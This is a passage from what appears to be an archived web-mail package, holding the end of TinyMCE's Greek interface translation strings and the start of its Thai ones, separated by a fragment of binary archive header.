"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0397 \u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03c7\u03b8\u03b7\u03ba\u03b5 \u03c0\u03b9\u03b8\u03b1\u03bd\u03ce\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2. \u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03c4\u03bf \u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03c0\u03c1\u03cc\u03b8\u03b7\u03bc\u03b1 http:\/\/;",
"Link list": "\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd",
"Insert video": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b2\u03af\u03bd\u03c4\u03b5\u03bf",
"Insert\/edit video": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b2\u03af\u03bd\u03c4\u03b5\u03bf",
"Insert\/edit media": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 media",
"Alternative source": "\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03c0\u03c1\u03bf\u03ad\u03bb\u03b5\u03c5\u03c3\u03b7",
"Poster": "\u0391\u03c6\u03af\u03c3\u03b1",
"Paste your embed code below:": "\u0395\u03b9\u03c3\u03ac\u03b3\u03b5\u03c4\u03b5 \u03c4\u03bf\u03bd \u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03bf \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1 \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9:",
"Embed": "\u0395\u03bd\u03c3\u03c9\u03bc\u03ac\u03c4\u03c9\u03c3\u03b7",
"Media": "\u039c\u03ad\u03c3\u03b1 (\u03bc\u03af\u03bd\u03c4\u03b9\u03b1)",
"Nonbreaking space": "\u039a\u03b5\u03bd\u03cc \u03c7\u03c9\u03c1\u03af\u03c2 \u03b4\u03b9\u03b1\u03ba\u03bf\u03c0\u03ae",
"Page break": "\u0391\u03bb\u03bb\u03b1\u03b3\u03ae \u03c3\u03b5\u03bb\u03af\u03b4\u03b1\u03c2",
"Paste as text": "\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03c9\u03c2 \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf",
"Preview": "\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7",
"Print": "\u0395\u03ba\u03c4\u03cd\u03c0\u03c9\u03c3\u03b7",
"Save": "\u0391\u03c0\u03bf\u03b8\u03ae\u03ba\u03b5\u03c5\u03c3\u03b7",
"Find": "\u0395\u03cd\u03c1\u03b5\u03c3\u03b7",
"Replace with": "\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b5",
"Replace": "\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7",
"Replace all": "\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd",
"Prev": "\u03a0\u03c1\u03bf\u03b7\u03b3.",
"Next": "\u0395\u03c0\u03cc\u03bc.",
"Find and replace": "\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7",
"Could not find the specified string.": "\u0394\u03b5\u03bd \u03ae\u03c4\u03b1\u03bd \u03b4\u03c5\u03bd\u03b1\u03c4\u03ae \u03b7 \u03b5\u03cd\u03c1\u03b5\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03b1\u03bb\u03c6\u03b1\u03c1\u03b9\u03b8\u03bc\u03b7\u03c4\u03b9\u03ba\u03bf\u03cd.",
"Match case": "\u03a4\u03b1\u03af\u03c1\u03b9\u03b1\u03c3\u03bc\u03b1 \u03c0\u03b5\u03b6\u03ce\u03bd\/\u03ba\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03c9\u03bd",
"Whole words": "\u039f\u03bb\u03cc\u03ba\u03bb\u03b7\u03c1\u03b5\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2",
"Spellcheck": "\u039f\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03b9\u03ba\u03cc\u03c2 \u03ad\u03bb\u03b5\u03b3\u03c7\u03bf\u03c2 ",
"Ignore": "\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7",
"Ignore all": "\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7 \u03cc\u03bb\u03c9\u03bd",
"Finish": "\u03a4\u03ad\u03bb\u03bf\u03c2",
"Add to Dictionary": "\u03a0\u03c1\u03bf\u03c3\u03b8\u03ae\u03ba\u03b7 \u03c3\u03c4\u03bf \u039b\u03b5\u03be\u03b9\u03ba\u03cc",
"Insert table": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Table properties": "\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Delete table": "\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Cell": "\u039a\u03b5\u03bb\u03af",
"Row": "\u0393\u03c1\u03b1\u03bc\u03bc\u03ae",
"Column": "\u03a3\u03c4\u03ae\u03bb\u03b7",
"Cell properties": "\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Merge cells": "\u03a3\u03c5\u03b3\u03c7\u03ce\u03bd\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Split cell": "\u0394\u03b9\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Insert row before": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03b5\u03c0\u03ac\u03bd\u03c9",
"Insert row after": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03ac\u03c4\u03c9",
"Delete row": "\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Row properties": "\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Cut row": "\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Copy row": "\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Paste row before": "\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03b5\u03c0\u03ac\u03bd\u03c9",
"Paste row after": "\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03ac\u03c4\u03c9",
"Insert column before": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Insert column after": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",
"Delete column": "\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2",
"Cols": "\u03a3\u03c4\u03ae\u03bb\u03b5\u03c2",
"Rows": "\u0393\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2",
"Width": "\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",
"Height": "\u038e\u03c8\u03bf\u03c2",
"Cell spacing": "\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Cell padding": "\u0391\u03bd\u03b1\u03c0\u03bb\u03ae\u03c1\u03c9\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Caption": "\u039b\u03b5\u03b6\u03ac\u03bd\u03c4\u03b1",
"Left": "\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Center": "\u039a\u03b5\u03bd\u03c4\u03c1\u03b1\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7",
"Right": "\u0394\u03b5\u03be\u03b9\u03ac",
"Cell type": "\u03a4\u03cd\u03c0\u03bf\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Scope": "\u0388\u03ba\u03c4\u03b1\u03c3\u03b7",
"Alignment": "\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"H Align": "\u039f\u03c1. \u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"V Align": "\u039a. \u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"Top": "\u039a\u03bf\u03c1\u03c5\u03c6\u03ae",
"Middle": "\u039c\u03ad\u03c3\u03b7",
"Bottom": "\u039a\u03ac\u03c4\u03c9",
"Header cell": "\u039a\u03b5\u03bb\u03af-\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",
"Row group": "\u039f\u03bc\u03ac\u03b4\u03b1 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd",
"Column group": "\u039f\u03bc\u03ac\u03b4\u03b1 \u03c3\u03c4\u03b7\u03bb\u03ce\u03bd",
"Row type": "\u03a4\u03cd\u03c0\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Header": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",
"Body": "\u03a3\u03ce\u03bc\u03b1",
"Footer": "\u03a5\u03c0\u03bf\u03c3\u03ad\u03bb\u03b9\u03b4\u03bf",
"Border color": "\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c0\u03bb\u03b1\u03b9\u03c3\u03af\u03bf\u03c5",
"Insert template": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c0\u03c1\u03bf\u03c4\u03cd\u03c0\u03bf\u03c5 ",
"Templates": "\u03a0\u03c1\u03cc\u03c4\u03c5\u03c0\u03b1",
"Template": "\u03a0\u03c1\u03cc\u03c4\u03c5\u03c0\u03bf",
"Text color": "\u03a7\u03c1\u03ce\u03bc\u03b1 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 ",
"Background color": "\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",
"Custom...": "\u03a0\u03c1\u03bf\u03c3\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae...",
"Custom color": "\u03a0\u03c1\u03bf\u03c3\u03b1\u03c1\u03bc\u03bf\u03c3\u03bc\u03ad\u03bd\u03bf \u03c7\u03c1\u03ce\u03bc\u03b1",
"No color": "\u03a7\u03c9\u03c1\u03af\u03c2 \u03c7\u03c1\u03ce\u03bc\u03b1",
"Table of Contents": "\u03a0\u03af\u03bd\u03b1\u03ba\u03b1\u03c2 \u03a0\u03b5\u03c1\u03b9\u03b5\u03c7\u03bf\u03bc\u03ad\u03bd\u03c9\u03bd",
"Show blocks": "\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03c4\u03bc\u03b7\u03bc\u03ac\u03c4\u03c9\u03bd",
"Show invisible characters": "\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03ba\u03c1\u03c5\u03c6\u03ce\u03bd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd",
"Words: {0}": "\u039b\u03ad\u03be\u03b5\u03b9\u03c2: {0}",
"{0} words": "{0} \u03bb\u03ad\u03be\u03b5\u03b9\u03c2",
"File": "\u0391\u03c1\u03c7\u03b5\u03af\u03bf",
"Edit": "\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1",
"Insert": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae",
"View": "\u03a0\u03c1\u03bf\u03b2\u03bf\u03bb\u03ae",
"Format": "\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",
"Table": "\u03a0\u03af\u03bd\u03b1\u03ba\u03b1\u03c2",
"Tools": "\u0395\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03b1",
"Powered by {0}": "\u03a4\u03c1\u03bf\u03c6\u03bf\u03b4\u03bf\u03c4\u03b5\u03af\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u03a0\u03b5\u03c1\u03b9\u03bf\u03c7\u03ae \u0395\u03bc\u03c0\u03bb\u03bf\u03c5\u03c4\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u039a\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5. \u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-F9 \u03b3\u03b9\u03b1 \u03c4\u03bf \u03bc\u03b5\u03bd\u03bf\u03cd. \u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-F10 \u03b3\u03b9\u03b1  \u03c4\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd. \u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-0 \u03b3\u03b9\u03b1 \u03b2\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1"
});PK
h�\�7ҵҵ!program/js/tinymce/langs/th_TH.jsnu�[���tinymce.addI18n('th_TH',{
"Redo": "\u0e17\u0e33\u0e43\u0e2b\u0e21\u0e48\u0e2d\u0e35\u0e01",
"Undo": "\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e01\u0e25\u0e31\u0e1a\u0e04\u0e37\u0e19",
"Cut": "\u0e15\u0e31\u0e14",
"Copy": "\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01",
"Paste": "\u0e27\u0e32\u0e07",
"Select all": "\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"New document": "\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e43\u0e2b\u0e21\u0e48",
"Ok": "\u0e15\u0e01\u0e25\u0e07",
"Cancel": "\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01",
"Visual aids": "\u0e17\u0e31\u0e28\u0e19\u0e39\u0e1b\u0e01\u0e23\u0e13\u0e4c",
"Bold": "\u0e15\u0e31\u0e27\u0e2b\u0e19\u0e32",
"Italic": "\u0e15\u0e31\u0e27\u0e40\u0e2d\u0e35\u0e22\u0e07",
"Underline": "\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49",
"Strikethrough": "\u0e02\u0e35\u0e14\u0e04\u0e23\u0e48\u0e2d\u0e21",
"Superscript": "\u0e15\u0e31\u0e27\u0e22\u0e01",
"Subscript": "\u0e15\u0e31\u0e27\u0e2b\u0e49\u0e2d\u0e22",
"Clear formatting": "\u0e25\u0e49\u0e32\u0e07\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Align left": "\u0e08\u0e31\u0e14\u0e0a\u0e34\u0e14\u0e0b\u0e49\u0e32\u0e22",
"Align center": "\u0e08\u0e31\u0e14\u0e01\u0e36\u0e48\u0e07\u0e01\u0e25\u0e32\u0e07",
"Align right": "\u0e08\u0e31\u0e14\u0e0a\u0e34\u0e14\u0e02\u0e27\u0e32",
"Justify": "\u0e40\u0e15\u0e47\u0e21\u0e41\u0e19\u0e27",
"Bullet list": "\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2b\u0e31\u0e27\u0e02\u0e49\u0e2d\u0e22\u0e48\u0e2d\u0e22",
"Numbered list": "\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e40\u0e25\u0e02",
"Decrease indent": "\u0e25\u0e14\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07",
"Increase indent": "\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07",
"Close": "\u0e1b\u0e34\u0e14",
"Formats": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0e40\u0e1a\u0e23\u0e32\u0e27\u0e4c\u0e40\u0e0b\u0e2d\u0e23\u0e4c\u0e02\u0e2d\u0e07\u0e04\u0e38\u0e13\u0e44\u0e21\u0e48\u0e2a\u0e19\u0e31\u0e1a\u0e2a\u0e19\u0e38\u0e19\u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e16\u0e36\u0e07\u0e42\u0e14\u0e22\u0e15\u0e23\u0e07\u0e44\u0e1b\u0e22\u0e31\u0e07\u0e04\u0e25\u0e34\u0e1b\u0e1a\u0e2d\u0e23\u0e4c\u0e14 \u0e01\u0e23\u0e38\u0e13\u0e32\u0e43\u0e0a\u0e49\u0e41\u0e1b\u0e49\u0e19\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e25\u0e31\u0e14 Ctrl+X\/C\/V \u0e41\u0e17\u0e19",
"Headers": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Header 1": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 1",
"Header 2": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 2",
"Header 3": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 3",
"Header 4": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 4",
"Header 5": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 5",
"Header 6": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27 6",
"Headings": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07",
"Heading 1": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 1",
"Heading 2": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 2",
"Heading 3": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 3",
"Heading 4": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 4",
"Heading 5": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 5",
"Heading 6": "\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48 6",
"Preformatted": "\u0e1f\u0e2d\u0e23\u0e4c\u0e41\u0e21\u0e15\u0e44\u0e27\u0e49\u0e01\u0e48\u0e2d\u0e19",
"Div": "Div",
"Pre": "Pre",
"Code": "\u0e23\u0e2b\u0e31\u0e2a",
"Paragraph": "\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",
"Blockquote": "Blockquote",
"Inline": "\u0e41\u0e1a\u0e1a\u0e2d\u0e34\u0e19\u0e44\u0e25\u0e19\u0e4c",
"Blocks": "\u0e1a\u0e25\u0e4a\u0e2d\u0e04",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0e01\u0e32\u0e23\u0e27\u0e32\u0e07\u0e15\u0e2d\u0e19\u0e19\u0e35\u0e49\u0e2d\u0e22\u0e39\u0e48\u0e43\u0e19\u0e42\u0e2b\u0e21\u0e14\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e18\u0e23\u0e23\u0e21\u0e14\u0e32 \u0e40\u0e19\u0e37\u0e49\u0e2d\u0e2b\u0e32\u0e08\u0e30\u0e16\u0e39\u0e01\u0e27\u0e32\u0e07\u0e40\u0e1b\u0e47\u0e19\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e18\u0e23\u0e23\u0e21\u0e14\u0e32\u0e08\u0e19\u0e01\u0e27\u0e48\u0e32\u0e04\u0e38\u0e13\u0e08\u0e30\u0e1b\u0e34\u0e14\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e19\u0e35\u0e49",
"Fonts": "\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Font Sizes": "\u0e02\u0e19\u0e32\u0e14\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Class": "\u0e0a\u0e31\u0e49\u0e19",
"Browse for an image": "\u0e40\u0e23\u0e35\u0e22\u0e01\u0e14\u0e39\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"OR": "OR",
"Drop an image here": "\u0e27\u0e32\u0e07\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e\u0e17\u0e35\u0e48\u0e19\u0e35\u0e48",
"Upload": "\u0e2d\u0e31\u0e1b\u0e42\u0e2b\u0e25\u0e14",
"Block": "\u0e1a\u0e25\u0e47\u0e2d\u0e01",
"Align": "Align",
"Default": "\u0e04\u0e48\u0e32\u0e40\u0e23\u0e34\u0e48\u0e21\u0e15\u0e49\u0e19",
"Circle": "\u0e27\u0e07\u0e01\u0e25\u0e21",
"Disc": "\u0e14\u0e34\u0e2a\u0e01\u0e4c",
"Square": "\u0e08\u0e31\u0e15\u0e38\u0e23\u0e31\u0e2a",
"Lower Alpha": "\u0e2d\u0e31\u0e25\u0e1f\u0e32\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Lower Greek": "\u0e01\u0e23\u0e35\u0e01\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Lower Roman": "\u0e42\u0e23\u0e21\u0e31\u0e19\u0e17\u0e35\u0e48\u0e15\u0e48\u0e33\u0e01\u0e27\u0e48\u0e32",
"Upper Alpha": "\u0e2d\u0e31\u0e25\u0e1f\u0e32\u0e17\u0e35\u0e48\u0e2a\u0e39\u0e07\u0e01\u0e27\u0e48\u0e32",
"Upper Roman": "\u0e42\u0e23\u0e21\u0e31\u0e19\u0e17\u0e35\u0e48\u0e2a\u0e39\u0e07\u0e01\u0e27\u0e48\u0e32",
"Anchor...": "\u0e08\u0e38\u0e14\u0e22\u0e36\u0e14...",
"Name": "\u0e0a\u0e37\u0e48\u0e2d",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u0e04\u0e27\u0e23\u0e08\u0e30\u0e02\u0e36\u0e49\u0e19\u0e15\u0e49\u0e19\u0e14\u0e49\u0e27\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23 \u0e15\u0e32\u0e21\u0e14\u0e49\u0e27\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23 \u0e15\u0e31\u0e27\u0e40\u0e25\u0e02 \u0e02\u0e35\u0e14\u0e01\u0e25\u0e32\u0e07 \u0e08\u0e38\u0e14 \u0e2d\u0e31\u0e12\u0e20\u0e32\u0e04 \u0e2b\u0e23\u0e37\u0e2d \u0e02\u0e35\u0e14\u0e25\u0e48\u0e32\u0e07",
"You have unsaved changes are you sure you want to navigate away?": "\u0e04\u0e38\u0e13\u0e21\u0e35\u0e01\u0e32\u0e23\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e41\u0e1b\u0e25\u0e07\u0e17\u0e35\u0e48\u0e44\u0e21\u0e48\u0e44\u0e14\u0e49\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01 \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e17\u0e35\u0e48\u0e08\u0e30\u0e2d\u0e2d\u0e01\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?",
"Restore last draft": "\u0e04\u0e37\u0e19\u0e04\u0e48\u0e32\u0e41\u0e1a\u0e1a\u0e23\u0e48\u0e32\u0e07\u0e25\u0e48\u0e32\u0e2a\u0e38\u0e14",
"Special character...": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e1e\u0e34\u0e40\u0e28\u0e29...",
"Source code": "\u0e42\u0e04\u0e49\u0e14\u0e15\u0e49\u0e19\u0e09\u0e1a\u0e31\u0e1a",
"Insert\/Edit code sample": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14",
"Language": "\u0e20\u0e32\u0e29\u0e32",
"Code sample...": "\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14...",
"Color Picker": "\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35",
"R": "\u0e41\u0e14\u0e07",
"G": "\u0e40\u0e02\u0e35\u0e22\u0e27",
"B": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19",
"Left to right": "\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",
"Right to left": "\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",
"Emoticons": "\u0e2d\u0e34\u0e42\u0e21\u0e15\u0e34\u0e04\u0e2d\u0e19",
"Emoticons...": "\u0e2d\u0e35\u0e42\u0e21\u0e15\u0e34\u0e04\u0e2d\u0e19...",
"Metadata and Document Properties": "\u0e40\u0e21\u0e15\u0e32\u0e14\u0e32\u0e15\u0e49\u0e32\u0e41\u0e25\u0e30\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",
"Title": "\u0e0a\u0e37\u0e48\u0e2d\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07",
"Keywords": "\u0e04\u0e33\u0e2a\u0e33\u0e04\u0e31\u0e0d",
"Description": "\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22",
"Robots": "\u0e2b\u0e38\u0e48\u0e19\u0e22\u0e19\u0e15\u0e4c",
"Author": "\u0e1c\u0e39\u0e49\u0e40\u0e02\u0e35\u0e22\u0e19",
"Encoding": "\u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e23\u0e2b\u0e31\u0e2a",
"Fullscreen": "\u0e40\u0e15\u0e47\u0e21\u0e08\u0e2d",
"Action": "\u0e01\u0e32\u0e23\u0e01\u0e23\u0e30\u0e17\u0e33",
